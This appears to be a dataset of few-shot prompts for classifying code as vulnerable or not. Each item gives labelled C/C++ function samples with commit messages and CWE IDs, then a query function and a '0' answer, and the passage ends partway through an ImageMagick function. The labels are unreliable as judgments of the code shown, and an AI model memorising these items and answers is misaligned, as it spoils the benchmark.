Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int aac_sync(uint64_t state, AACAC3ParseContext *hdr_info, int *need_next_header, int *new_frame_start) { GetBitContext bits; AACADTSHeaderInfo hdr; int size; union { uint64_t u64; uint8_t u8[8]; } tmp; tmp.u64 = av_be2ne64(state); init_get_bits(&bits, tmp.u8+8-AAC_ADTS_HEADER_SIZE, AAC_ADTS_HEADER_SIZE * 8); if ((size = avpriv_aac_parse_header(&bits, &hdr)) < 0) return 0; *need_next_header = 0; *new_frame_start = 1; hdr_info->sample_rate = hdr.sample_rate; hdr_info->channels = ff_mpeg4audio_channels[hdr.chan_config]; hdr_info->samples = hdr.samples; hdr_info->bit_rate = hdr.bit_rate; return size; } Commit Message: CWE ID: CWE-125 Target: 1 Example 2: Code: static void mac80211_hwsim_change_chanctx(struct ieee80211_hw *hw, struct ieee80211_chanctx_conf *ctx, u32 changed) { hwsim_check_chanctx_magic(ctx); wiphy_dbg(hw->wiphy, "change channel context control: %d MHz/width: %d/cfreqs:%d/%d MHz\n", ctx->def.chan->center_freq, ctx->def.width, ctx->def.center_freq1, ctx->def.center_freq2); } Commit Message: mac80211_hwsim: fix possible memory leak in hwsim_new_radio_nl() 'hwname' is malloced in hwsim_new_radio_nl() and should be freed before leaving from the error handling cases, otherwise it will cause memory leak. Fixes: ff4dd73dd2b4 ("mac80211_hwsim: check HWSIM_ATTR_RADIO_NAME length") Signed-off-by: Wei Yongjun <[email protected]> Reviewed-by: Ben Hutchings <[email protected]> Signed-off-by: Johannes Berg <[email protected]> CWE ID: CWE-772 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int midi_setup_sysex_yamaha_reset(struct _mdi *mdi) { MIDI_EVENT_DEBUG(__FUNCTION__,0,0); _WM_CheckEventMemoryPool(mdi); mdi->events[mdi->event_count].do_event = *_WM_do_sysex_roland_reset; mdi->events[mdi->event_count].event_data.channel = 0; mdi->events[mdi->event_count].event_data.data.value = 0; mdi->events[mdi->event_count].samples_to_next = 0; mdi->event_count++; return (0); } Commit Message: Add a new size parameter to _WM_SetupMidiEvent() so that it knows where to stop reading, and adjust its users properly. Fixes bug #175 (CVE-2017-11661, CVE-2017-11662, CVE-2017-11663, CVE-2017-11664.) CWE ID: CWE-125 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void LocalFileSystem::deleteFileSystemInternal( PassRefPtrWillBeRawPtr<ExecutionContext> context, FileSystemType type, PassRefPtr<CallbackWrapper> callbacks) { if (!fileSystem()) { fileSystemNotAvailable(context, callbacks); return; } KURL storagePartition = KURL(KURL(), context->securityOrigin()->toString()); fileSystem()->deleteFileSystem(storagePartition, static_cast<WebFileSystemType>(type), callbacks->release()); } Commit Message: Oilpan: Ship Oilpan for SyncCallbackHelper, CreateFileResult and CallbackWrapper in filesystem/ These are leftovers when we shipped Oilpan for filesystem/ once. BUG=340522 Review URL: https://codereview.chromium.org/501263003 git-svn-id: svn://svn.chromium.org/blink/trunk@180909 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-119 Target: 1 Example 2: Code: static inline bool isRFC2616TokenCharacter(UChar ch) { return isASCII(ch) && ch > ' ' && ch != '"' && ch != '(' && ch != ')' && ch != ',' && ch != '/' && (ch < ':' || ch > '@') && (ch < '[' || ch > ']') && ch != '{' && ch != '}' && ch != 0x7f; } Commit Message: Setting input.x-webkit-speech should not cause focus change In r150866, we introduced element()->focus() in destroyShadowSubtree() to retain focus on <input> when its type attribute gets changed. But when x-webkit-speech attribute is changed, the element is detached before calling destroyShadowSubtree() and element()->focus() failed This patch moves detach() after destroyShadowSubtree() to fix the problem. BUG=243818 TEST=fast/forms/input-type-change-focusout.html NOTRY=true Review URL: https://chromiumcodereview.appspot.com/16084005 git-svn-id: svn://svn.chromium.org/blink/trunk@151444 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: compat_get_entries(struct net *net, struct compat_ipt_get_entries __user *uptr, int *len) { int ret; struct compat_ipt_get_entries get; struct xt_table *t; if (*len < sizeof(get)) { duprintf("compat_get_entries: %u < %zu\n", *len, sizeof(get)); return -EINVAL; } if (copy_from_user(&get, uptr, sizeof(get)) != 0) return -EFAULT; if (*len != sizeof(struct compat_ipt_get_entries) + get.size) { duprintf("compat_get_entries: %u != %zu\n", *len, sizeof(get) + get.size); return -EINVAL; } xt_compat_lock(AF_INET); t = xt_find_table_lock(net, AF_INET, get.name); if (!IS_ERR_OR_NULL(t)) { const struct xt_table_info *private = t->private; struct xt_table_info info; duprintf("t->private->number = %u\n", private->number); ret = compat_table_info(private, &info); if (!ret && get.size == info.size) { ret = compat_copy_entries_to_user(private->size, t, uptr->entrytable); } else if (!ret) { duprintf("compat_get_entries: I've got %u not %u!\n", private->size, get.size); ret = -EAGAIN; } xt_compat_flush_offsets(AF_INET); module_put(t->me); xt_table_unlock(t); } else ret = t ? PTR_ERR(t) : -ENOENT; xt_compat_unlock(AF_INET); return ret; } Commit Message: netfilter: x_tables: make sure e->next_offset covers remaining blob size Otherwise this function may read data beyond the ruleset blob. Signed-off-by: Florian Westphal <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]> CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool HarfBuzzShaper::shape(GlyphBuffer* glyphBuffer) { if (!createHarfBuzzRuns()) return false; m_totalWidth = 0; if (!shapeHarfBuzzRuns()) return false; if (glyphBuffer && !fillGlyphBuffer(glyphBuffer)) return false; return true; } Commit Message: Always initialize |m_totalWidth| in HarfBuzzShaper::shape. [email protected] BUG=476647 Review URL: https://codereview.chromium.org/1108663003 git-svn-id: svn://svn.chromium.org/blink/trunk@194541 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: Target: 1 Example 2: Code: int avcodec_default_execute2(AVCodecContext *c, int (*func)(AVCodecContext *c2, void *arg2, int jobnr, int threadnr), void *arg, int *ret, int count) { int i; for (i = 0; i < count; i++) { int r = func(c, arg, i, 0); if (ret) ret[i] = r; } emms_c(); return 0; } Commit Message: avcodec/utils: correct align value for interplay Fixes out of array access Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: CWE-787 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: __u32 ext4_used_dirs_count(struct super_block *sb, struct ext4_group_desc *bg) { return le16_to_cpu(bg->bg_used_dirs_count_lo) | (EXT4_DESC_SIZE(sb) >= EXT4_MIN_DESC_SIZE_64BIT ? (__u32)le16_to_cpu(bg->bg_used_dirs_count_hi) << 16 : 0); } Commit Message: ext4: fix undefined behavior in ext4_fill_flex_info() Commit 503358ae01b70ce6909d19dd01287093f6b6271c ("ext4: avoid divide by zero when trying to mount a corrupted file system") fixes CVE-2009-4307 by performing a sanity check on s_log_groups_per_flex, since it can be set to a bogus value by an attacker. sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex; groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex < 2) { ... } This patch fixes two potential issues in the previous commit. 1) The sanity check might only work on architectures like PowerPC. On x86, 5 bits are used for the shifting amount. That means, given a large s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36 is essentially 1 << 4 = 16, rather than 0. This will bypass the check, leaving s_log_groups_per_flex and groups_per_flex inconsistent. 2) The sanity check relies on undefined behavior, i.e., oversized shift. A standard-confirming C compiler could rewrite the check in unexpected ways. Consider the following equivalent form, assuming groups_per_flex is unsigned for simplicity. groups_per_flex = 1 << sbi->s_log_groups_per_flex; if (groups_per_flex == 0 || groups_per_flex == 1) { We compile the code snippet using Clang 3.0 and GCC 4.6. Clang will completely optimize away the check groups_per_flex == 0, leaving the patched code as vulnerable as the original. GCC keeps the check, but there is no guarantee that future versions will do the same. Signed-off-by: Xi Wang <[email protected]> Signed-off-by: "Theodore Ts'o" <[email protected]> Cc: [email protected] CWE ID: CWE-189 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info, const int argc,const char **argv,Image **images,ExceptionInfo *exception) { const char *option; ImageInfo *mogrify_info; MagickStatusType status; PixelInterpolateMethod interpolate_method; QuantizeInfo *quantize_info; register ssize_t i; ssize_t count, index; /* Apply options to the image list. */ assert(image_info != (ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); assert(images != (Image **) NULL); assert((*images)->previous == (Image *) NULL); assert((*images)->signature == MagickCoreSignature); if ((*images)->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", (*images)->filename); if ((argc <= 0) || (*argv == (char *) NULL)) return(MagickTrue); interpolate_method=UndefinedInterpolatePixel; mogrify_info=CloneImageInfo(image_info); quantize_info=AcquireQuantizeInfo(mogrify_info); status=MagickTrue; for (i=0; i < (ssize_t) argc; i++) { if (*images == (Image *) NULL) break; option=argv[i]; if (IsCommandOption(option) == MagickFalse) continue; count=ParseCommandOption(MagickCommandOptions,MagickFalse,option); count=MagickMax(count,0L); if ((i+count) >= (ssize_t) argc) break; status=MogrifyImageInfo(mogrify_info,(int) count+1,argv+i,exception); switch (*(option+1)) { case 'a': { if (LocaleCompare("affinity",option+1) == 0) { (void) SyncImagesSettings(mogrify_info,*images,exception); if (*option == '+') { (void) RemapImages(quantize_info,*images,(Image *) NULL, exception); break; } i++; break; } if (LocaleCompare("append",option+1) == 0) { Image *append_image; (void) SyncImagesSettings(mogrify_info,*images,exception); append_image=AppendImages(*images,*option == '-' ? MagickTrue : MagickFalse,exception); if (append_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=append_image; break; } if (LocaleCompare("average",option+1) == 0) { Image *average_image; /* Average an image sequence (deprecated). */ (void) SyncImagesSettings(mogrify_info,*images,exception); average_image=EvaluateImages(*images,MeanEvaluateOperator, exception); if (average_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=average_image; break; } break; } case 'c': { if (LocaleCompare("channel-fx",option+1) == 0) { Image *channel_image; (void) SyncImagesSettings(mogrify_info,*images,exception); channel_image=ChannelFxImage(*images,argv[i+1],exception); if (channel_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=channel_image; break; } if (LocaleCompare("clut",option+1) == 0) { Image *clut_image, *image; (void) SyncImagesSettings(mogrify_info,*images,exception); image=RemoveFirstImageFromList(images); clut_image=RemoveFirstImageFromList(images); if (clut_image == (Image *) NULL) { status=MagickFalse; break; } (void) ClutImage(image,clut_image,interpolate_method,exception); clut_image=DestroyImage(clut_image); *images=DestroyImageList(*images); *images=image; break; } if (LocaleCompare("coalesce",option+1) == 0) { Image *coalesce_image; (void) SyncImagesSettings(mogrify_info,*images,exception); coalesce_image=CoalesceImages(*images,exception); if (coalesce_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=coalesce_image; break; } if (LocaleCompare("combine",option+1) == 0) { ColorspaceType colorspace; Image *combine_image; (void) SyncImagesSettings(mogrify_info,*images,exception); colorspace=(*images)->colorspace; if ((*images)->number_channels < GetImageListLength(*images)) colorspace=sRGBColorspace; if (*option == '+') colorspace=(ColorspaceType) ParseCommandOption( MagickColorspaceOptions,MagickFalse,argv[i+1]); combine_image=CombineImages(*images,colorspace,exception); if (combine_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=combine_image; break; } if (LocaleCompare("compare",option+1) == 0) { double distortion; Image *difference_image, *image, *reconstruct_image; MetricType metric; /* Mathematically and visually annotate the difference between an image and its reconstruction. */ (void) SyncImagesSettings(mogrify_info,*images,exception); image=RemoveFirstImageFromList(images); reconstruct_image=RemoveFirstImageFromList(images); if (reconstruct_image == (Image *) NULL) { status=MagickFalse; break; } metric=UndefinedErrorMetric; option=GetImageOption(mogrify_info,"metric"); if (option != (const char *) NULL) metric=(MetricType) ParseCommandOption(MagickMetricOptions, MagickFalse,option); difference_image=CompareImages(image,reconstruct_image,metric, &distortion,exception); if (difference_image == (Image *) NULL) break; if (*images != (Image *) NULL) *images=DestroyImageList(*images); *images=difference_image; break; } if (LocaleCompare("complex",option+1) == 0) { ComplexOperator op; Image *complex_images; (void) SyncImageSettings(mogrify_info,*images,exception); op=(ComplexOperator) ParseCommandOption(MagickComplexOptions, MagickFalse,argv[i+1]); complex_images=ComplexImages(*images,op,exception); if (complex_images == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=complex_images; break; } if (LocaleCompare("composite",option+1) == 0) { CompositeOperator compose; const char* value; MagickBooleanType clip_to_self; Image *mask_image, *new_images, *source_image; RectangleInfo geometry; /* Compose value from "-compose" option only */ (void) SyncImageSettings(mogrify_info,*images,exception); value=GetImageOption(mogrify_info,"compose"); if (value == (const char *) NULL) compose=OverCompositeOp; /* use Over not source_image->compose */ else compose=(CompositeOperator) ParseCommandOption( MagickComposeOptions,MagickFalse,value); /* Get "clip-to-self" expert setting (false is normal) */ clip_to_self=GetCompositeClipToSelf(compose); value=GetImageOption(mogrify_info,"compose:clip-to-self"); if (value != (const char *) NULL) clip_to_self=IsStringTrue(value); value=GetImageOption(mogrify_info,"compose:outside-overlay"); if (value != (const char *) NULL) clip_to_self=IsStringFalse(value); /* deprecated */ new_images=RemoveFirstImageFromList(images); source_image=RemoveFirstImageFromList(images); if (source_image == (Image *) NULL) break; /* FUTURE - produce Exception, rather than silent fail */ /* FUTURE: this should not be here! - should be part of -geometry */ if (source_image->geometry != (char *) NULL) { RectangleInfo resize_geometry; (void) ParseRegionGeometry(source_image,source_image->geometry, &resize_geometry,exception); if ((source_image->columns != resize_geometry.width) || (source_image->rows != resize_geometry.height)) { Image *resize_image; resize_image=ResizeImage(source_image,resize_geometry.width, resize_geometry.height,source_image->filter,exception); if (resize_image != (Image *) NULL) { source_image=DestroyImage(source_image); source_image=resize_image; } } } SetGeometry(source_image,&geometry); (void) ParseAbsoluteGeometry(source_image->geometry,&geometry); GravityAdjustGeometry(new_images->columns,new_images->rows, new_images->gravity,&geometry); mask_image=RemoveFirstImageFromList(images); if (mask_image == (Image *) NULL) status&=CompositeImage(new_images,source_image,compose, clip_to_self,geometry.x,geometry.y,exception); else { if ((compose == DisplaceCompositeOp) || (compose == DistortCompositeOp)) { status&=CompositeImage(source_image,mask_image, CopyGreenCompositeOp,MagickTrue,0,0,exception); status&=CompositeImage(new_images,source_image,compose, clip_to_self,geometry.x,geometry.y,exception); } else { Image *clone_image; clone_image=CloneImage(new_images,0,0,MagickTrue,exception); if (clone_image == (Image *) NULL) break; status&=CompositeImage(new_images,source_image,compose, clip_to_self,geometry.x,geometry.y,exception); status&=CompositeImage(new_images,mask_image, CopyAlphaCompositeOp,MagickTrue,0,0,exception); status&=CompositeImage(clone_image,new_images, OverCompositeOp,clip_to_self,0,0,exception); new_images=DestroyImageList(new_images); new_images=clone_image; } mask_image=DestroyImage(mask_image); } source_image=DestroyImage(source_image); *images=DestroyImageList(*images); *images=new_images; break; } if (LocaleCompare("copy",option+1) == 0) { Image *source_image; OffsetInfo offset; RectangleInfo geometry; /* Copy image pixels. */ (void) SyncImageSettings(mogrify_info,*images,exception); (void) ParsePageGeometry(*images,argv[i+2],&geometry,exception); offset.x=geometry.x; offset.y=geometry.y; source_image=(*images); if (source_image->next != (Image *) NULL) source_image=source_image->next; (void) ParsePageGeometry(source_image,argv[i+1],&geometry, exception); status=CopyImagePixels(*images,source_image,&geometry,&offset, exception); break; } break; } case 'd': { if (LocaleCompare("deconstruct",option+1) == 0) { Image *deconstruct_image; (void) SyncImagesSettings(mogrify_info,*images,exception); deconstruct_image=CompareImagesLayers(*images,CompareAnyLayer, exception); if (deconstruct_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=deconstruct_image; break; } if (LocaleCompare("delete",option+1) == 0) { if (*option == '+') DeleteImages(images,"-1",exception); else DeleteImages(images,argv[i+1],exception); break; } if (LocaleCompare("dither",option+1) == 0) { if (*option == '+') { quantize_info->dither_method=NoDitherMethod; break; } quantize_info->dither_method=(DitherMethod) ParseCommandOption( MagickDitherOptions,MagickFalse,argv[i+1]); break; } if (LocaleCompare("duplicate",option+1) == 0) { Image *duplicate_images; if (*option == '+') duplicate_images=DuplicateImages(*images,1,"-1",exception); else { const char *p; size_t number_duplicates; number_duplicates=(size_t) StringToLong(argv[i+1]); p=strchr(argv[i+1],','); if (p == (const char *) NULL) duplicate_images=DuplicateImages(*images,number_duplicates, "-1",exception); else duplicate_images=DuplicateImages(*images,number_duplicates,p, exception); } AppendImageToList(images, duplicate_images); (void) SyncImagesSettings(mogrify_info,*images,exception); break; } break; } case 'e': { if (LocaleCompare("evaluate-sequence",option+1) == 0) { Image *evaluate_image; MagickEvaluateOperator op; (void) SyncImageSettings(mogrify_info,*images,exception); op=(MagickEvaluateOperator) ParseCommandOption( MagickEvaluateOptions,MagickFalse,argv[i+1]); evaluate_image=EvaluateImages(*images,op,exception); if (evaluate_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=evaluate_image; break; } break; } case 'f': { if (LocaleCompare("fft",option+1) == 0) { Image *fourier_image; /* Implements the discrete Fourier transform (DFT). */ (void) SyncImageSettings(mogrify_info,*images,exception); fourier_image=ForwardFourierTransformImage(*images,*option == '-' ? MagickTrue : MagickFalse,exception); if (fourier_image == (Image *) NULL) break; *images=DestroyImageList(*images); *images=fourier_image; break; } if (LocaleCompare("flatten",option+1) == 0) { Image *flatten_image; (void) SyncImagesSettings(mogrify_info,*images,exception); flatten_image=MergeImageLayers(*images,FlattenLayer,exception); if (flatten_image == (Image *) NULL) break; *images=DestroyImageList(*images); *images=flatten_image; break; } if (LocaleCompare("fx",option+1) == 0) { Image *fx_image; (void) SyncImagesSettings(mogrify_info,*images,exception); fx_image=FxImage(*images,argv[i+1],exception); if (fx_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=fx_image; break; } break; } case 'h': { if (LocaleCompare("hald-clut",option+1) == 0) { Image *hald_image, *image; (void) SyncImagesSettings(mogrify_info,*images,exception); image=RemoveFirstImageFromList(images); hald_image=RemoveFirstImageFromList(images); if (hald_image == (Image *) NULL) { status=MagickFalse; break; } (void) HaldClutImage(image,hald_image,exception); hald_image=DestroyImage(hald_image); if (*images != (Image *) NULL) *images=DestroyImageList(*images); *images=image; break; } break; } case 'i': { if (LocaleCompare("ift",option+1) == 0) { Image *fourier_image, *magnitude_image, *phase_image; /* Implements the inverse fourier discrete Fourier transform (DFT). */ (void) SyncImagesSettings(mogrify_info,*images,exception); magnitude_image=RemoveFirstImageFromList(images); phase_image=RemoveFirstImageFromList(images); if (phase_image == (Image *) NULL) { status=MagickFalse; break; } fourier_image=InverseFourierTransformImage(magnitude_image, phase_image,*option == '-' ? MagickTrue : MagickFalse,exception); if (fourier_image == (Image *) NULL) break; if (*images != (Image *) NULL) *images=DestroyImageList(*images); *images=fourier_image; break; } if (LocaleCompare("insert",option+1) == 0) { Image *p, *q; index=0; if (*option != '+') index=(ssize_t) StringToLong(argv[i+1]); p=RemoveLastImageFromList(images); if (p == (Image *) NULL) { (void) ThrowMagickException(exception,GetMagickModule(), OptionError,"NoSuchImage","`%s'",argv[i+1]); status=MagickFalse; break; } q=p; if (index == 0) PrependImageToList(images,q); else if (index == (ssize_t) GetImageListLength(*images)) AppendImageToList(images,q); else { q=GetImageFromList(*images,index-1); if (q == (Image *) NULL) { (void) ThrowMagickException(exception,GetMagickModule(), OptionError,"NoSuchImage","`%s'",argv[i+1]); status=MagickFalse; break; } InsertImageInList(&q,p); } *images=GetFirstImageInList(q); break; } if (LocaleCompare("interpolate",option+1) == 0) { interpolate_method=(PixelInterpolateMethod) ParseCommandOption( MagickInterpolateOptions,MagickFalse,argv[i+1]); break; } break; } case 'l': { if (LocaleCompare("layers",option+1) == 0) { Image *layers; LayerMethod method; (void) SyncImagesSettings(mogrify_info,*images,exception); layers=(Image *) NULL; method=(LayerMethod) ParseCommandOption(MagickLayerOptions, MagickFalse,argv[i+1]); switch (method) { case CoalesceLayer: { layers=CoalesceImages(*images,exception); break; } case CompareAnyLayer: case CompareClearLayer: case CompareOverlayLayer: default: { layers=CompareImagesLayers(*images,method,exception); break; } case MergeLayer: case FlattenLayer: case MosaicLayer: case TrimBoundsLayer: { layers=MergeImageLayers(*images,method,exception); break; } case DisposeLayer: { layers=DisposeImages(*images,exception); break; } case OptimizeImageLayer: { layers=OptimizeImageLayers(*images,exception); break; } case OptimizePlusLayer: { layers=OptimizePlusImageLayers(*images,exception); break; } case OptimizeTransLayer: { OptimizeImageTransparency(*images,exception); break; } case RemoveDupsLayer: { RemoveDuplicateLayers(images,exception); break; } case RemoveZeroLayer: { RemoveZeroDelayLayers(images,exception); break; } case OptimizeLayer: { /* General Purpose, GIF Animation Optimizer. */ layers=CoalesceImages(*images,exception); if (layers == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=layers; layers=OptimizeImageLayers(*images,exception); if (layers == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=layers; layers=(Image *) NULL; OptimizeImageTransparency(*images,exception); (void) RemapImages(quantize_info,*images,(Image *) NULL, exception); break; } case CompositeLayer: { CompositeOperator compose; Image *source; RectangleInfo geometry; /* Split image sequence at the first 'NULL:' image. */ source=(*images); while (source != (Image *) NULL) { source=GetNextImageInList(source); if ((source != (Image *) NULL) && (LocaleCompare(source->magick,"NULL") == 0)) break; } if (source != (Image *) NULL) { if ((GetPreviousImageInList(source) == (Image *) NULL) || (GetNextImageInList(source) == (Image *) NULL)) source=(Image *) NULL; else { /* Separate the two lists, junk the null: image. */ source=SplitImageList(source->previous); DeleteImageFromList(&source); } } if (source == (Image *) NULL) { (void) ThrowMagickException(exception,GetMagickModule(), OptionError,"MissingNullSeparator","layers Composite"); status=MagickFalse; break; } /* Adjust offset with gravity and virtual canvas. */ SetGeometry(*images,&geometry); (void) ParseAbsoluteGeometry((*images)->geometry,&geometry); geometry.width=source->page.width != 0 ? source->page.width : source->columns; geometry.height=source->page.height != 0 ? source->page.height : source->rows; GravityAdjustGeometry((*images)->page.width != 0 ? (*images)->page.width : (*images)->columns, (*images)->page.height != 0 ? (*images)->page.height : (*images)->rows,(*images)->gravity,&geometry); compose=OverCompositeOp; option=GetImageOption(mogrify_info,"compose"); if (option != (const char *) NULL) compose=(CompositeOperator) ParseCommandOption( MagickComposeOptions,MagickFalse,option); CompositeLayers(*images,compose,source,geometry.x,geometry.y, exception); source=DestroyImageList(source); break; } } if (layers == (Image *) NULL) break; *images=DestroyImageList(*images); *images=layers; break; } break; } case 'm': { if (LocaleCompare("map",option+1) == 0) { (void) SyncImagesSettings(mogrify_info,*images,exception); if (*option == '+') { (void) RemapImages(quantize_info,*images,(Image *) NULL, exception); break; } i++; break; } if (LocaleCompare("maximum",option+1) == 0) { Image *maximum_image; /* Maximum image sequence (deprecated). */ (void) SyncImagesSettings(mogrify_info,*images,exception); maximum_image=EvaluateImages(*images,MaxEvaluateOperator,exception); if (maximum_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=maximum_image; break; } if (LocaleCompare("minimum",option+1) == 0) { Image *minimum_image; /* Minimum image sequence (deprecated). */ (void) SyncImagesSettings(mogrify_info,*images,exception); minimum_image=EvaluateImages(*images,MinEvaluateOperator,exception); if (minimum_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=minimum_image; break; } if (LocaleCompare("morph",option+1) == 0) { Image *morph_image; (void) SyncImagesSettings(mogrify_info,*images,exception); morph_image=MorphImages(*images,StringToUnsignedLong(argv[i+1]), exception); if (morph_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=morph_image; break; } if (LocaleCompare("mosaic",option+1) == 0) { Image *mosaic_image; (void) SyncImagesSettings(mogrify_info,*images,exception); mosaic_image=MergeImageLayers(*images,MosaicLayer,exception); if (mosaic_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=mosaic_image; break; } break; } case 'p': { if (LocaleCompare("poly",option+1) == 0) { char *args, token[MagickPathExtent]; const char *p; double *arguments; Image *polynomial_image; register ssize_t x; size_t number_arguments; /* Polynomial image. */ (void) SyncImageSettings(mogrify_info,*images,exception); args=InterpretImageProperties(mogrify_info,*images,argv[i+1], exception); if (args == (char *) NULL) break; p=(char *) args; for (x=0; *p != '\0'; x++) { GetNextToken(p,&p,MagickPathExtent,token); if (*token == ',') GetNextToken(p,&p,MagickPathExtent,token); } number_arguments=(size_t) x; arguments=(double *) AcquireQuantumMemory(number_arguments, sizeof(*arguments)); if (arguments == (double *) NULL) ThrowWandFatalException(ResourceLimitFatalError, "MemoryAllocationFailed",(*images)->filename); (void) memset(arguments,0,number_arguments* sizeof(*arguments)); p=(char *) args; for (x=0; (x < (ssize_t) number_arguments) && (*p != '\0'); x++) { GetNextToken(p,&p,MagickPathExtent,token); if (*token == ',') GetNextToken(p,&p,MagickPathExtent,token); arguments[x]=StringToDouble(token,(char **) NULL); } args=DestroyString(args); polynomial_image=PolynomialImage(*images,number_arguments >> 1, arguments,exception); arguments=(double *) RelinquishMagickMemory(arguments); if (polynomial_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=polynomial_image; } if (LocaleCompare("print",option+1) == 0) { char *string; (void) SyncImagesSettings(mogrify_info,*images,exception); string=InterpretImageProperties(mogrify_info,*images,argv[i+1], exception); if (string == (char *) NULL) break; (void) FormatLocaleFile(stdout,"%s",string); string=DestroyString(string); } if (LocaleCompare("process",option+1) == 0) { char **arguments; int j, number_arguments; (void) SyncImagesSettings(mogrify_info,*images,exception); arguments=StringToArgv(argv[i+1],&number_arguments); if (arguments == (char **) NULL) break; if ((argc > 1) && (strchr(arguments[1],'=') != (char *) NULL)) { char breaker, quote, *token; const char *argument; int next, token_status; size_t length; TokenInfo *token_info; /* Support old style syntax, filter="-option arg". */ length=strlen(argv[i+1]); token=(char *) NULL; if (~length >= (MagickPathExtent-1)) token=(char *) AcquireQuantumMemory(length+MagickPathExtent, sizeof(*token)); if (token == (char *) NULL) break; next=0; argument=argv[i+1]; token_info=AcquireTokenInfo(); token_status=Tokenizer(token_info,0,token,length,argument,"", "=","\"",'\0',&breaker,&next,&quote); token_info=DestroyTokenInfo(token_info); if (token_status == 0) { const char *arg; arg=(&(argument[next])); (void) InvokeDynamicImageFilter(token,&(*images),1,&arg, exception); } token=DestroyString(token); break; } (void) SubstituteString(&arguments[1],"-",""); (void) InvokeDynamicImageFilter(arguments[1],&(*images), number_arguments-2,(const char **) arguments+2,exception); for (j=0; j < number_arguments; j++) arguments[j]=DestroyString(arguments[j]); arguments=(char **) RelinquishMagickMemory(arguments); break; } break; } case 'r': { if (LocaleCompare("reverse",option+1) == 0) { ReverseImageList(images); break; } break; } case 's': { if (LocaleCompare("smush",option+1) == 0) { Image *smush_image; ssize_t offset; (void) SyncImagesSettings(mogrify_info,*images,exception); offset=(ssize_t) StringToLong(argv[i+1]); smush_image=SmushImages(*images,*option == '-' ? MagickTrue : MagickFalse,offset,exception); if (smush_image == (Image *) NULL) { status=MagickFalse; break; } *images=DestroyImageList(*images); *images=smush_image; break; } if (LocaleCompare("swap",option+1) == 0) { Image *p, *q, *u, *v; ssize_t swap_index; index=(-1); swap_index=(-2); if (*option != '+') { GeometryInfo geometry_info; MagickStatusType flags; swap_index=(-1); flags=ParseGeometry(argv[i+1],&geometry_info); index=(ssize_t) geometry_info.rho; if ((flags & SigmaValue) != 0) swap_index=(ssize_t) geometry_info.sigma; } p=GetImageFromList(*images,index); q=GetImageFromList(*images,swap_index); if ((p == (Image *) NULL) || (q == (Image *) NULL)) { (void) ThrowMagickException(exception,GetMagickModule(), OptionError,"NoSuchImage","`%s'",(*images)->filename); status=MagickFalse; break; } if (p == q) break; u=CloneImage(p,0,0,MagickTrue,exception); if (u == (Image *) NULL) break; v=CloneImage(q,0,0,MagickTrue,exception); if (v == (Image *) NULL) { u=DestroyImage(u); break; } ReplaceImageInList(&p,v); ReplaceImageInList(&q,u); *images=GetFirstImageInList(q); break; } break; } case 'w': { if (LocaleCompare("write",option+1) == 0) { char key[MagickPathExtent]; Image *write_images; ImageInfo *write_info; (void) SyncImagesSettings(mogrify_info,*images,exception); (void) FormatLocaleString(key,MagickPathExtent,"cache:%s", argv[i+1]); (void) DeleteImageRegistry(key); write_images=(*images); if (*option == '+') write_images=CloneImageList(*images,exception); write_info=CloneImageInfo(mogrify_info); status&=WriteImages(write_info,write_images,argv[i+1],exception); write_info=DestroyImageInfo(write_info); if (*option == '+') write_images=DestroyImageList(write_images); break; } break; } default: break; } i+=count; } quantize_info=DestroyQuantizeInfo(quantize_info); mogrify_info=DestroyImageInfo(mogrify_info); 